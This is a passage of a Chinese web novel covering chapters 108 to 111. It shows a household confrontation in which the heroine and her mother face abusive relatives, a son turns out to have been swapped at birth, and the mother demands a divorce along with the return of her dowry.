娘娘,恕老奴多嘴,听闻那玉阳子已在大理寺狱中自尽身亡了。陛下已严令,不准任何人再私炼此等虎狼之药。
娘娘,为了凤体安康,您还是听陛下的话吧。”
*
马车在尚书府门前的青石板上稳稳停驻。
云昭正欲携苏氏同下马车,李灼灼却突然探身,一把拉住她的衣袖,圆溜溜的杏眼里满是关切与跃跃欲试:“
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云昭,真不用我和我娘陪你进去吗?”
她说着,还拍了拍身旁英国公夫人结实的手臂,压低声音却难掩兴奋,“等会儿若是里头厮打起来,我娘一个能顶十个!保管打得他们满地找牙!”
郑氏没好气地拍了她一记,嗔怪道:“没个正形!”
“我们先不回去。”她对云昭和苏氏道,“待会若真遇上什么,只管让婢女出来喊我们。”
云昭心中暖流涌动,郑重向二人敛衽一礼:“灼灼,夫人,今日之情,云昭铭记于心。”她又对郑氏道,“待我处理完家中琐事,便即刻上门,为灼灼解决她那桩烦心事。”
郑氏也不与她多客套,爽快点头:“一言为定。”
云昭与苏氏相携下了马车,莺时、雪信、严嬷嬷和孙婆子四人紧随其后。
此时天光大亮,街上行人渐多,车马往来,叫卖声此起彼伏。
不少人注意到她们母女二人从挂着英国公府徽记的马车下来,不禁低声议论起来:
“咦?那不是姜大小姐吗?她怎么……这就回来了?”
“不是说她被永熙王看中,要纳入王府了吗?这瞧着也不像啊……”
“我也听说了!都说她攀上了永熙王的高枝儿,连姜家门槛都要换金的了!”
这些窃窃私语虽压低了声音,却清晰地飘进了苏氏耳中。
她霍然转身,平日里温婉的眉眼此刻尽是凛然之色:“是谁在那里胡吣!竟敢随意污蔑我儿清白?!”
一旁严嬷嬷亦神色庄严,冷厉道:“我们姑娘好好的官家小姐,昨日应丹阳郡公府之邀,前去赴宴,何时与永熙王有了牵扯?再敢胡说,仔细你们的舌头!”
百姓们被这突如其来的厉声呵斥震住,有人讪讪,也有人不服气地嘟囔:
“这……这满京城都传遍了,我们也是听人说的。”
“就是啊,都说永熙王对姜小姐青眼有加呢……”
“难道这事竟不是真的?”
云昭身边的莺时和雪信几乎异口同声:
“当然不是真的!休要胡说八道,败坏我家小姐清誉!”
莺时更是快言快语道:“我家小姐昨夜只在宴席上远远见过永熙王一眼,连话都未曾说过半句!哪个黑心肝的,居然编排出这等谣言?!”
人群中一位提着菜篮的大婶忍不住插嘴:“我就说嘛!姜大姑娘多么孝顺一个孩子,又是陛下亲口夸赞过的玄师,前途无量!怎会自甘堕落,去那**的王府做妾?”
“是啊,青莲观那些枉死的姑娘家,都是姜大小姐帮忙超度的!”
“这消息也不知打哪传来的,说不定啊,是有人眼红姜小姐,故意泼脏水!”
云昭听着这些纷纷议论,面上不动声色,心底却已了然。
能将这等捕风捉影的流言传得如此迅捷,仅凭姜绾心和梅柔卿,怕还没有这般通天的手段。
她想起今晨与孙婆子料理过熙园首尾,一同回到丹阳郡公府时,从英国公夫人口中听到的那件事……唇角不禁勾起一抹弧度。
看来,太子殿下昨晚得了美人,今日一早就迫不及待要利用这些市井流言,将她彻底钉死!
她不再理会街头的喧嚣,示意身旁的雪信和莺时扶好面色不佳的苏氏,主仆几人挺直脊背,一步步迈上尚书府门前的石阶。
不知为何,今日姜府那两扇厚重的朱漆大门竟虚掩着,连平日守在门房的小厮福安也不见踪影,透着一股不同寻常的寂静。
云昭微微蹙了蹙眉,心中警觉,伸手轻轻推开了那扇半掩的门。
刚绕过雕着福禄寿纹的影壁,还未踏入前院,便听到女子哭喊声和物品摔砸的脆响。
“我不过是想回我自己娘家,这也不行吗?凭什么拦着我们娘仨!”
“祖母!求求祖母!别砸我们的东西!呜呜呜……别砸!”
竟是温氏和绾棠的声音!
第108章 谁才是残花败柳之身?
云昭眸光一凛,加快脚步穿过月洞门,前院混乱的景象顿时毫无遮掩地撞入眼中——
只见温氏发髻散乱,被两个粗壮的婆子死死反扭住胳膊,她奋力挣扎,泪水混着汗水布满脸颊,哭喊声已带上了嘶哑的绝望。
绾棠和绾荔两个小姑娘,则被两个面无表情的丫鬟粗暴地拽着细瘦的胳膊,吓得小脸惨白,哇哇大哭,浑身颤抖宛如风中的柳叶。
地上散乱地摊开着几只箱笼,里面原本叠放整齐的衣裳、一些不算名贵的首饰,甚至还有两个孩子心爱的布娃娃和小拨浪鼓,此刻都**乱扔掷在地。
几个面色凶悍的仆妇用脚肆意踢踹,口中还不干不净地唾骂着:“穷酸破落户!还想带着姜家的东西走?呸!”
姜老夫人被梅柔卿搀扶着,站在廊下,朝温氏的方向狠狠啐了一口:“一大清早的在这号什么丧?我们姜家如今眼看就要攀上高枝,飞黄腾达了,岂容你们这起子没出息的东西在这里触霉头!”
温氏泪如雨下:“我知道婆母一直看不上我和世忠。我们夫妻俩没本事,不能光耀门楣,如今也没脸再靠着府上过活。我……我只求带着孩子们回我娘家去,这还不行吗?”
“回?”姜老夫人吊梢眼一翻,刻薄话语如同刀子般甩出,
“想回可以啊!这些年,老大供你们吃,供你们穿,养着你们这一大家子闲人废物!现在翅膀硬了想分家单飞?行!先把这些年的嚼用,连本带利都给我还来!”
温氏浑身剧烈地颤抖起来,她挣脱不开婆子的钳制,只能朝着一直冷眼旁观的姜世安方向,用力地磕下头去,额头瞬间红肿起来:
“大伯!公爹当年过世前曾留下话,若有一日,真要分家,我们三房别的什么都不能带走,但也无需偿还姜家分文!
求您看在去世公爹的份上,看在世忠这些年起早贪黑、兢兢业业为家里打理铺子,没有功劳也有苦劳的份上,求您高抬贵手,放过我们母女吧!”
梅柔卿捏着帕子,柔声开口:“三弟妹,你这话说得可就生分了,什么叫放过?倒显得老爷多么刻薄寡恩似的。老爷一向宽厚,岂会亏待了自家人?”
姜世安冷眼瞧着跪地哀求的温氏,心中飞快盘算。家里这些旁支亲戚,平日里吃他的,用他的,关键时刻却一点助力也无。
二房夫妻如今都不在了,如今若是三房也分出去,倒也少了负担麻烦!
他如今眼看就要凭借两个女儿攀上太子和永熙王,仕途一片大好,何必再留着这些上不得台面的穷亲戚碍眼?
他清了清嗓子,摆出一副既痛心又无奈的模样:“三弟妹,你既去意已决,我也不好强留。只是,姜家虽非豪富,却也养了你们这些年。
如今你们既要自立门户,便需立下字据,言明自此之后,是贫是富,是生是死,皆与姜府再无瓜葛。姜家的一草一木,一砖一瓦,你们都不能再沾染分毫。”
温氏看着梅柔卿递到眼前的那页薄薄的纸,泪水再次汹涌而出。
她颤抖着手接过,抱住了扑过来的两个女儿。
姜绾心不耐烦地皱起秀眉,娇声对仆妇下令:“还磨蹭什么?瞧着就晦气!抓紧摁了手印,撵他们出去便是!”
她转向梅柔卿,娇声抱怨,“娘,站得我腿都酸了,想回去补眠呢。”
一个仆妇粗鲁地抓住温氏的手,强行往印泥上按去。
直到眼看着温氏拿到那张纸,云昭方才放下制止众人妄动的手,示意苏氏等人跟她来。
“啪!”
一道银亮的鞭影如同撕裂空气的闪电,带着凌厉的破空之声,骤然抽在撕扯温氏的两个婆子身上!
“哎呦!”
“我的妈呀!”
两个婆子发出杀猪般的惨叫,不由自主地松开了手,巨大的力道让她们肥胖的身躯如同滚地葫芦般向后倒去。
其中一个不偏不倚,如同一个沉重的麻袋,直直砸在了正揉着额角、满脸不耐的姜绾心身上!
“啊——!”
姜绾心猝不及防,被这百十来斤的重物砸得眼冒金星,当即惨叫一声。
那婆子肥硕的身躯几乎将她大半个身子都压住了,疼得她眼泪瞬间涌出,哎呦哎呦的一时竟爬
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不起来。
这突如其来的变故让所有人都大惊失色,猛地转头看向鞭影来处。
只见云昭一袭淡青色竹影长裙,身姿挺拔如青竹,逆光而立。
晨曦在她周身勾勒出一圈清冷的光晕,她手中缠绕着一根闪烁着寒光的银鞭,眉眼清洌,目光如冰刃般扫过全场。
在绾棠和绾荔眼中,此刻的云昭,简直如同话本故事里,踏着祥云前来解救她们于水火的天神!
两个小姑娘几乎同时停止了哭泣,张开小嘴,带着难以置信的惊喜齐声:“大姐姐?”
姜绾心好不容易推开身上哀嚎的婆子,捂着被撞疼的胸口和摔疼的屁股,一抬头见到好端端站在那里的云昭,表情活像是大白天见了厉鬼,瞳孔骤缩,嘴唇哆嗦着:“你……”
她宛如一只被无形大手扼住喉咙的鸭子,发出断续而尖厉的音节:“你——!你怎么可能……!”
云昭朝她温柔一笑,那笑容却未达眼底,反而带着令人胆寒的冷意。
她步步上前,步履从容,而跌坐在地的姜绾心,脸上顶着方才被压出的一块青紫,竟吓得手脚并用,屁股蹭着冰冷的地面向后挪退,哪还有半分方才的嚣张气焰。
“鬼啊!!!你别过来!”姜绾心崩溃地尖叫出声,声音刺耳。
云昭嗤笑了一声声音清越,却带着十足的嘲讽:“妹妹这胆子,比那偷油的老鼠也大不了多少。怎么,一天到晚尽做些亏心事,如今连人都怕了?”
姜绾心此时才注意到云昭身后被日光拉出的清晰影子,意识到她竟是个大活人,根本没死!
她惊疑不定地上下打量着云昭,却见她裙裾洁净,气度从容,眉眼间一片清明冷冽,哪有半分被男人折磨整夜后应有的憔悴与狼狈?
一股被愚弄的怒火混合着嫉恨猛地窜上心头,姜绾心一把推开想来扶她的丫鬟,猛地站起来,指着云昭尖声道:
“姜云昭!你怎么还有脸回来!你如今已是残花败柳之身,是永熙王的人了!你不乖乖留在王府等着名分,跑回娘家来,是想让全家都跟着你丢人现眼吗?”
第109章 暴姜珩身世
梅柔卿眼神阴鸷,紧紧盯着云昭,接口道:“大姑娘,心儿有句话说得在理。你如今身份不同往日,已是永熙王殿下的人了!
你不好好留在王府,等着殿下遣媒人风风光光来府上提亲,这般贸然跑回来,若是惹得王爷不悦,岂不是给我们家招来泼天大祸?”
此言一出,顿时点醒了一旁因云昭突然出现而愣住的姜世安。
他立即板起脸,沉声道:“不错,阿昭,你这般一个人跑回来,实在是……”
“实在是什么?”苏氏猛地走上前,将女儿护在身后,声音因极致的愤怒而颤抖,
“姜世安!你想说什么?你一个做父亲的,亲手送女儿入虎口,你的良心被狗吃了吗?!”
“放肆!”姜世安脸色瞬间阴沉得能滴出水来,额角青筋暴跳,“苏**!你看看你像什么样子!君为臣纲,夫为妻纲!谁准你对一家之主如此咆哮顶撞?
陛下仁慈,念你苏家旧情封了你一个三品淑人,我看你是被这虚名冲昏了头,越发猖狂,不知所谓了!”
一旁的老夫人见状,立即拍着大腿帮腔:“我儿骂得好!似她这种猖狂忤逆的妇人,你早该好好教训了!光骂有什么用?就该动手打!打到她学会规矩为止!”
云昭眸光一寒扫视众人:“谁敢!”
“父亲为何不敢?”姜绾心扶着两个丫鬟的手勉强站稳,脸上还火辣辣的疼,此刻新仇旧恨一齐涌上心头,她尖声冷笑,字字诛心,
“姜云昭!你一个失了贞洁的闺阁小姐,行为不端,辱没门风,已是家族耻辱!今日父亲就是按家法打死你!说到圣上面前,我们姜家也是占着理的!”
云昭闻言,非但不惧,反而讥诮地勾起唇角:“哦?是吗?”
她语调悠然,目光缓缓扫过她和梅柔卿:“按照妹妹和梅姨娘方才的说法,永熙王如今不是我的‘靠山’吗?你们今日若打**我,岂不是亲手断送了咱们尚书府的金山银山、锦绣前程?”
她目光转向面色变幻不定的姜世安,语气带着一丝玩味,“父亲,您不心疼啊?”
姜世安被她一句话噎住,握着小厮匆忙递来的、象征着家法权威的刑杖,打也不是,不打也不是,一时僵在原地,脸色一阵青一阵白。
梅柔卿见状,柔声细语,字字挑拨:“老爷,大小姐这般不敬尊长,若不加以管教,日后嫁入王府,若是惹怒殿下,人家要说咱们姜家教女无方,不懂规矩了。”
姜绾心也急声附和:“姜云昭!你这般不管不顾跑回府,若是惹得永熙王动怒,牵连家族,你就是姜家的罪人!”
“动怒?”云昭回想起昨夜熙园华屋之中,萧玦那具被怨女撕扯的不成人形的尸身,不禁轻轻笑了,“他不会动怒了。”
站在她身侧的孙婆子,嘴角微微扯动,一脸大仇得报的快意。
然而,在场姜家众人,却完全误会了她的意思。
姜世安脸色略微缓和,以为云昭得了永熙王的默许、甚至是宠爱,才这般有恃无恐地回来。
他语气不由放缓了些许,透着一丝讨好:“阿昭,你……你也是个大人了,不日就将出嫁王府,日后说话行事,且不可再这般冲动**躁,失了体统。”
姜绾心见父亲态度软化,顿时气不打一处来,跺脚道:“爹爹!您别被她骗了!谁知道她是不是偷跑出来的?
应该立刻把她捆了,悄悄从后门送回熙园去!不然留她在家里,外间还不知要怎么议论我们姜家女儿不知廉耻,被王爷玩腻了退货呢!”
“啪!”一记清脆响亮的耳光,狠狠扇在姜绾心那张娇嫩的脸上,打断了她恶毒的诅咒。
苏氏收回发麻的手掌,指着姜绾心厉声唾骂:“下作东西!腌臜泼才!小小年纪,心思竟如此歹毒阴损!张口闭口就是这些污言秽语,编排嫡姐!你的规矩学到狗肚子里去了?!”
“你敢打我?!”姜绾心昨夜才承雨露,自觉身份已与往日截然不同,此刻挨打,更是羞愤交加。
她当即挺起胸脯,对着苏氏叫嚣:“你可知你在打谁?今日你打了我,明日东宫降罪,你……”
“我是你嫡母!嫡母教训一个不知尊卑、口出恶言的庶出女儿,天经地义!便是说到天边,我也占着理!”
苏氏根本不惧她的威胁,对着身后厉声喊道,“严嬷嬷!我这好女儿既忘了规矩,你便好好教一教她,何为上下尊卑,何为妾室庶女的本分!”
严嬷嬷应声上前,她身形干瘦,眼神却锐利沉稳,一把就攥住了姜绾心的胳膊。
姜绾心刚要挣扎,便听严嬷嬷不紧不慢地开口:“二姑娘,老奴在长公主殿下跟前伺候了半辈子,如今年纪大了,骨头脆,可禁不得摔打。
今日若在尚书府,因着教导您规矩而有个什么好歹……想必长公主殿下定然会十分关切,亲自过问这其中缘由。”
此言一出,姜绾心不由身形一僵。
严嬷嬷对一旁早已跃跃欲试的孙婆子递了个眼色,两个老姐妹左右开弓,一连串清脆响亮的耳光声接连响起,又快又狠!
“心儿!”梅柔卿上前欲拽,却被孙婆子一手格开,就势在她肩头一搡。
梅柔卿只觉一股冰冷的酸麻瞬间散入四肢百骸,双腿一软便跪倒在地,竟连一根手指头都动弹不得!
这是孙婆子暗施的玄门定身咒法,虽不持久,但趁这片刻功夫教训一个姜绾心却是足够。
苏氏则指着姜世安唾骂:“姜世安!虎毒尚不食子啊!你连畜生都不如!永熙王是何等人品,整个京城何人不知?
你身为父亲,不为女儿避祸,反而主动算计,将她推入火坑,竟还一心盼着自家女儿嫁给这种披着人皮的禽兽为妾!你枉为人父!”
昨夜惊变,苏氏原本一直被蒙在鼓里,直到寅时云昭在秦王萧启、大理寺卿赵悉等人护送下从熙园折返,她和英国公夫人等人才知晓昨夜女儿经历了何等生死劫难!
她越骂越激动,积压了一夜的恐惧、愤怒与后怕在此刻彻底爆发,竟猛地冲上前,一把抢过姜世安手中那根沉木刑杖,紧紧攥在手中。
此刻的苏氏如同护崽的母兽,奋力挥舞着对姜世安及周遭所有人喝道:“我看今日谁敢动我的昭儿一根头发!除非从我的尸体上踏过去!
梅柔卿虽软倒在地动弹不得,但见苏氏这般癫狂失态,心中更是确信云昭必定已失了清白,不过是强撑着颜面回来逞强罢了。
她心中得意,面上却故作叹息:“姐姐这又是何苦?大姑娘能得王爷青眼,是多少人求都求不来的福分。您这
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般闹腾,若是传出去,岂不坐实了大姑娘在王府受了委屈?于她的名声,更是雪上加霜啊……”
她这话无异于火上浇油。
苏氏猛地转头,目光死死盯住梅柔卿那张伪善的脸,新仇旧恨一齐涌上心头!她竟趁着云昭不备,一把夺过她手中的银鞭,用尽全身力气,朝着梅柔卿狠狠抽了过去!
苏氏没有云昭那般精妙的鞭法和运转自如的内息,但盛怒之下,这一鞭竟也又快又急,带着一股不顾一切的狠劲!
“啪——!”
一声无比清脆、令人牙酸的鞭响,骤然炸开!
梅柔卿猝不及防,只来得及偏头躲开正面,那银鞭的末梢却依旧扫过了她保养得宜的脸颊!
一道鲜红的血痕瞬间浮现,火辣辣的疼痛让梅柔卿尖叫出声:“我的脸!”
姜世安见状顿时勃然大怒,指着苏氏厉吼:“苏**!你闹够了没有!简直是个疯妇!”
一旁的老夫人见状,更是跳着脚骂苏氏:“疯子!泼妇!你自己就是个不知廉耻、肆意勾引男人的货色!生个女儿跟你一样**,嫁给老头子当妾,有什么可稀奇的!
分明就是你们母女刻在骨子里的本性!一脉相承的狐媚!”
苏氏被这污言秽语气得浑身发抖,眼前阵阵发黑,强撑着回骂道:“你血口喷人!”
老夫人浑浊的老眼闪过一丝恶毒,不待一旁眉头攒动的姜世安出言阻止,口不择言地吼道:“我喷人?别忘了你当初是怎么进的我姜家门!
婚前就与人苟且失了贞洁,要不是我儿心善,念在旧情娶了你,还有谁会要你这**!要我说,当初就不该让你这伤风败俗的东西进这个门!
你敢再闹,我现在就让我儿写休书,休了你这个不守妇道的**!”
刹那间,前院一片死寂。
所有主子、下人的目光,都惊疑不定地聚焦在苏氏身上。
就连被抽得脸颊肿胀口角涎血的姜绾心,都惊得屏住了呼吸!
苏氏脸色煞白,僵立在原地。
她的目光从老夫人身上移到姜世安脸上,却见姜世安眼神躲闪,根本不敢与她对视,那是一种被戳穿秘密后的心虚与狼狈!
她忽然低低地笑了起来。
那笑声比哭还令人心酸,充满了无尽的苍凉与醒悟:“这就是你偷换了我珩儿的原因?”
“当日你在我面前,分明信誓旦旦地说过你不在意,你相信我,此生你不会将此事告以第三个人知晓!
但其实,你心里早就笃定珩儿不是你的骨肉!所以你才趁我病重,将珩儿偷换了,用一个不知从哪里抱来的野种顶替,是也不是?!
姜世安!你回答我!!!”
此言一出,石破天惊!
云昭看着苏氏脸上混合着巨大痛苦与**的挣扎之色,心念电转:虽不知当年母亲到底发生了什么。但很明显,当年母亲与娘家**,被迫匆匆下嫁姜世安,正与老夫人方才辱骂、母亲此刻提及之事有关!
就在这时,充满了难以置信与惊恐慌乱的声音,在众人身后突兀响起:“母亲!您……您刚才说什么?!”
众人齐齐转身,云昭也倏地朝声音来源望去——
只见月洞门外,姜珩不知何时站在那里,脸色煞白如纸,连嘴唇都在微微哆嗦。
第110章 要和离?可以!
姜珩一步步走上前,那双总是带着清高孤傲的眸子,此刻充满了惊涛骇浪般的震惊!
他先是望向苏氏,声音艰涩发颤:“母亲……您、您方才说什么?”
见苏氏默然不语,他猛地转向姜世安:“父亲!我是您与母亲的孩子,是尚书府名正言顺的嫡长子,对不对?您告诉我!”
姜世安面色铁青,眼神复杂地闪烁了一下,旋即沉声道:“自然!你自是为父的孩儿,是我姜家血脉,此事毋庸置疑!休要听你母亲气头上的胡言乱语!”
“胡言乱语?哈哈哈……”苏氏闻言,发出一连串悲凉的冷笑!
“好一个毋庸置疑!姜世安,你既咬**认下他,不妨咱们夫妻今日就把这十几年的腌臜事彻底掰扯清楚!
也省得我继续戴着这顶‘贤良淑德’的假面,替你养着这不知从哪个女人肚子里爬出来的野种,做这天下第一号的冤大头!”
她猛地抬起手,直指面色惨白的姜珩:“此子根本非我亲生!生母不详,血脉存疑,宗族难明!
从今往后,到了外面,你休要再打着我的旗号,说他是从我苏**肚子里爬出来的儿子!我嫌脏!”
她又看向梅柔卿,唇角勾起一抹极淡的笑:“梅柔卿!枉你费尽心机,斗了我十几年,你应该也没想到吧,你这位情深义重的姜郎,除了你我,外面竟还藏着别的女人,连儿子都这般大了!
你这解语花,解得可还不够透彻啊!”
梅柔卿哪怕事先已知姜珩并非姜世安与苏氏之子,但被苏氏当着阖府的面如此揭穿,仍是觉得脸上被人狠狠扇了一巴掌,火辣辣地疼,脸色瞬间难看至极。
苏氏看着她骤变的脸色,故作恍然,慢条斯理地道:“难怪昨日在丹阳郡公府,你纵容指使你的好女儿,故意设计,毁了姜珩与县主的大好婚事。
因为你也打心眼里见不得他这个‘嫡长子’过得好,你怕他真攀上高枝得势了势,就不能任由你们母女拿捏了!”
“什么?”“你说什么?!”
姜珩与姜世安惊怒交加的声音几乎同时响起。
姜珩整个人如遭雷击,猛地一怔,下意识反驳:“不!不会的!心儿她昨日分明是无心之失,她……”
“苏氏!你把话说清楚!昨日在郡公府究竟发生了何事?!”姜世安厉声追问,目光锐利如刀,猛地射向脸颊红肿的姜绾心,又扫过眼神闪烁的梅柔卿。
瘫软在地的梅柔卿浑身动弹不得,急得额头冒汗,只能用眼神拼命示意女儿。
姜绾心却心虚地撇开视线。
那事儿,不过是个小小的意外!虽然过程出了点岔子,但到底姜珩与县主的婚事黄了,而她也能如愿当上太子妃,母亲何必对这些细枝末节斤斤计较?
苏氏就是奔着彻底搅散这个家来的,自然不会卖关子,她语速极快,声音清晰地传遍整个前院:
“昨日晌午,你的好女儿姜绾心,和你苦心栽培了二十年的‘嫡子’姜珩,在郡公府的某间静室,不顾礼义廉耻,搂抱在一处,行那等亲吻狎昵之事!
此事,不仅宜芳县主亲眼目睹,气得拂袖离去,英国公夫人郑氏,还有在场许多勋贵家的夫人小姐,全都瞧得一清二楚!
你姜家的脸面,昨日在郡公府就已经被你这对好儿女丢尽了!”
姜世安闻言,猛地看向姜绾心,声音几乎是从牙缝里挤出来的:“绾心!这究竟是怎么回事?!”
姜绾心脸颊肿痛,口齿不清,急切地辩解:“父、父清……侬听吾缩……根奔吾是、吾是辣样……”
姜珩也脸色涨红,急忙道:“父亲!此事绝非母亲所言那般不堪!是心儿她头晕,我只是扶了她一把,当时或许有些误会……”
“误会?搂抱在一起也是误会?亲吻也是误会?!”姜世安根本不信,厉声打断他,“到底是怎么回事?!你给我从实说来!”
苏氏冷眼旁观,嗤笑道:“姜世安,事到如今,我有何必要再编造谎言欺瞒于你?你若不信,不妨等上几天。
相信过不了几日,姜家嫡子与庶妹在郡公府行止不端、罔顾人伦的‘佳话’,就会在整个勋贵圈子里彻底传开!
到时候,你姜尚书的脸面,可就真是丢到满京城了!”
姜绾心拼命挣脱开严嬷嬷和孙婆子的钳制,顶着肿胀的脸,焦急地比划着解释:“蝶!真的吾是辣样!吾米有……”
她心里又气又急,事情哪有苏氏说的那般严重不堪!
若她真因这等小事失了清誉,太子殿下昨夜又怎会那般怜惜她,对她小意温存,今日还特意用东宫的马车亲自送她回府,给她这般大的体面?
这个苏氏,根本就是自己名声完了,破罐子破摔,故意在这里蓄意挑拨,污蔑她!
姜世安阴沉着脸,一时没说话。苏氏所言未必是假,但瞧着一对儿女的模样,此事想必也没发展到那般不堪的境地……否则,太子今晨对绾心也不会是那般态度了。
梅柔卿却恨铁不成钢地看着姜绾心。她自诩智谋无双,怎么生出这么个蠢钝如猪的女儿!
她目光下意识瞥向姜老夫人身上站着的姜绾宁和姜珏……
还好,珏儿功课一向不错。姜珩已被她故意养废了,如今杨氏又**,她还有大把时间,可以好生与珏儿培养母子感情!
梅柔卿恨铁不成钢地瞪着女儿!她自诩步步为营,智谋无双,怎么偏偏生出这么个沉不住气又愚笨的女儿!
她的目光下意识地瞥向一直瑟缩在姜老夫人身后,冷眼旁观的姜绾宁和年纪尚小的姜珏。
还好……还好她的珏儿还在,功课一向不错,人也机灵。
姜珩已被她故意纵容养废了,杨氏又死得正是时候,她还有大把的时间,可以好好与珏儿培养母子感情,将他牢牢掌控在手心里!
不管这个女儿再怎么愚蠢短视,终究是她身上掉下来的肉。她这个做母亲的,定会竭尽全力,扶着她坐稳太子妃之位!
未来,再有珏儿在府中为
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她撑腰,她的好日子,还在后头!
只要……这姜府的后院,再没有苏**这个名正言顺的女主人!
思及此,梅柔卿看向老夫人,继续拱了把火:“母亲,不论如何,心儿和珩儿都是姜家的骨肉,两个孩子都还年轻,都有大好的前程!今日之事,不宜闹大……”
“不错!”姜老夫人最听不得这些,当即拄着拐杖重重一顿,浑浊的老眼怒视苏氏,
“世安,你还跟这疯妇纠缠什么!今日娘就替你做了这个主,休了她!咱们休妻再娶,娶个温顺贤惠的进来,也好过日日对着这个丧门星!”
姜老夫人从二十多年前苏氏刚进门时,就看这个出身高贵的儿媳不顺眼。
每当苏氏仪态万方地站在她面前,她就觉得自己像个刚从泥地里爬出来的土婆子,连手脚都不知道该往哪里放。
这些年苏氏病重,缠绵病榻,少在人前走动,她这才渐渐忘了那份如影随形的自卑。
可自从前些日子云昭与姜家上下对簿公堂,这苏氏竟奇迹般地好了!还得了陛下亲封的三品淑人,又恢复了从前那副清冷高华的模样。
姜老夫人每见苏氏一次,心里就不舒服一分,弄得她一天到晚如坐针毡,寝食难安!只恨不得立刻将这人从眼前彻底抹去!
此言一出,院内众人神色骤变,心思各异。
苏氏眸光微闪,当即斩钉截铁道:“不行!”
她手臂紧紧揽住身旁的云昭:“我的昭儿在这里,我哪里都不会去!”
“你女儿?”姜老夫人嗤笑一声,刻薄道,“她不日就要嫁入永熙王府!到那时,我们姜家更不会有你的立锥之地!你若识相,就赶紧带着你这女儿,还有那三房那几个赔钱货,一起滚出我们姜家!”
苏氏看向一直沉默的姜世安,声音带着一丝颤抖:“夫君……你我夫妻二十载,你当真半点不念当年情分?”
若是在一天之前,即便是**老子来了,姜世安也绝不舍得动休妻的念头。
苏家虽败落,余威犹在,苏氏本人更是陛下亲封的诰命。
但仅仅一夜之间,天地翻覆。
无论是云昭即将踏入永熙王府,还是绾心注定要入主东宫,靠着哪个女儿,都足以保他后半生富贵荣华,官声权势更上一层楼!
一想到传旨太监莅临、阖府跪迎圣旨的煊赫场景,姜世安便觉得血液沸腾,一颗心激动得几乎要跳出胸腔,整个人飘飘然如置身云端!
相比之下,一个无甚价值却处处强硬的苏氏,又算得了什么?
苏氏将他眼底的权衡与冷酷看得分明,她冷笑一声:“我可不是三房那般好性儿,能任由你们搓圆捏扁,一文不拿便净身出户!
当年,我也是你姜世安三媒六聘、吹吹打打迎进门的正头夫人!更遑论,我身上还有陛下亲赐的淑人封号!
想休妻?绝无可能!要和离,可以!把我当年的嫁妆,一分不少,全数归还!我自会堂堂正正,走出你姜家大门!”
第111章 当场分家
“凭啥!”姜老夫人一听要动她的命根子——那些年年生息的田庄,日进斗金的铺面,顿时如同被踩了尾巴的猫,浑身的**都炸了起来!
她死死攥着拐杖,尖声叫道,“你既嫁入我姜家,生是姜家人,死是姜家鬼!你的东西,自然也都是姜家的!哪有带走之理?!”
那些铺子田产,可是她晚年享福的倚仗!在一众老姐妹面前扬眉吐气的根本!更是她偷偷贴补珩哥儿和心儿的私房来源!谁动,就是要她的老命!
苏氏见她如此泼赖,心中积压多年的怨气再也抑制不住,手中银鞭一抖,带着破空之声,直朝喋喋不休的姜老夫人抽去!
然而这一次,苏氏失了方才盛怒之下的准头,鞭梢并未着肉,只携着风声,“啪”的一声脆响,自老夫人腿边擦过。
然而即便如此,那凌厉的破空声也吓得老夫人“哎哟”一声,膝盖窝一软,摔了个结结实实的屁墩儿!
她先是一懵,待反应过来,当即扯开嗓子嚎啕大哭起来:“儿媳妇竟敢动手打婆母啦!天杀的苏家,怎的教出这么个心狠手辣的毒妇!世安!你还愣着干什么!别墨迹了!今日你必须休了苏**!”
姜世安被老夫人哭得心烦意乱,他眼见苏氏先用鞭子伤了梅氏的脸,如今竟然敢对母亲动手,猜测苏氏这是得知云昭被永熙王收用,行迹疯魔了!
不由指着她厉声唾骂:“苏**!你看看你如今像个什么样子!鞭挞姨娘,惊吓母亲,口出恶言,搅得家宅不宁!哪里还有半分为**、为人媳的温婉贤淑!简直是个不可理喻的疯妇!”
“姜世安!”苏氏猛地打断他,脊背挺得笔直,目光如寒星般射向他,“你别忘了,我苏**不是那等毫无根基、任你拿捏的孤女!我身后还有三个兄弟!还有整个苏家!”
姜世安面色不耐,一旁的梅柔卿也目露不屑,老夫人更是毫不遮掩,直接骂出了口:
“打量谁傻?你当年做出那等丑事,你爹娘早就不要你了!你兄弟妯娌嫌你丢人,没一个愿意理你!你早跟娘家断了亲了!”
苏氏神色沉静:“当年我确实与爹娘闹得不堪,几近**。但前些日子,我两个嫡亲的侄儿可是亲自登门,来府上替我撑过腰的!姜世安,你该不会以为,如今的苏家,当真没人了!”
此言一出,唯有老夫人还在嘟嘟囔囔、满脸不信,姜世安脸色已然不好看,就连瘫坐在地的梅柔卿,眉眼间也飞快闪过一抹难以掩饰的慌乱!
但她与苏家那人确实十几年再未联络……难道说,如今苏家内里出了什么她不知道的变故?
苏家那一大家子固执清高的死脑筋,居然终于转过弯来,要与苏**这个当年“有辱门风”的女儿冰释前嫌,重归于好?
这怎么成!
若真是这样,即便今日成功逼走了苏氏,也绝不能让她全须全尾地回到苏家!
一个和离的苏氏不足为惧,但一个背后有苏家支持的苏氏,便是心腹大患!
苏氏将姜世安那瞬间的忌惮看在眼里,心中冷笑,一字一句,清晰无比地砸向他:
“我乃苏家嫡女,更是陛下金口玉言、亲封的三品淑人!今日你若以七出之条休弃于我,改日你若重返朝堂,就不怕被御史台的言官们参你一本‘治家不严’、‘宠妾灭妻’、‘苛待诰命’吗?!”
姜世安当然怕!
事实上,这几日他心中已有预感,陛下万寿节在即,各项典仪都需礼部操持,起复他这个礼部尚书的时候也该到了。
若真得陛下起复,届时重返朝堂,同僚皆知他家中两个女儿分别许了永熙王府和东宫,不知多少双羡慕嫉妒的眼睛会死死盯着他,就等着抓他的错处!
若在此时闹出休弃发妻、霸占嫁妆的丑闻,被那些政敌抓住把柄,在陛下面前参上一本,那他好不容易等来的前程,恐怕就要毁于一旦!
苏氏半垂下眼帘,掩去眸中冷光,语气却显得异常平静:
“那十几间盈利最丰的铺面,我只要一半。剩下的一半,权当是留给我昭儿日后在王府的体己和嫁妆,也算全了我与你最后的情分。”
她顿了顿,语气转为不容置疑的坚决:“但除此之外,我当年嫁妆单子上所列的一应田产、金银、古玩、字画,我必须尽数带走!一样都不能少!”
这原是今晨她与云昭反复商议后定下的策略。
云昭当时握着她的手,眼神沉静而笃定:“母亲,今日我们暂且忍一时之气。姜家贪吝,若执意全数索回,他们必定狗急跳墙,不肯轻易放人,反倒横生枝节。
您先拿走一半,稳住他们,顺利拿到和离书离开这是非之地。
至于剩下的一半……女儿向您保证,用不了多久,我定会让他们连本带利,亲手奉还!”
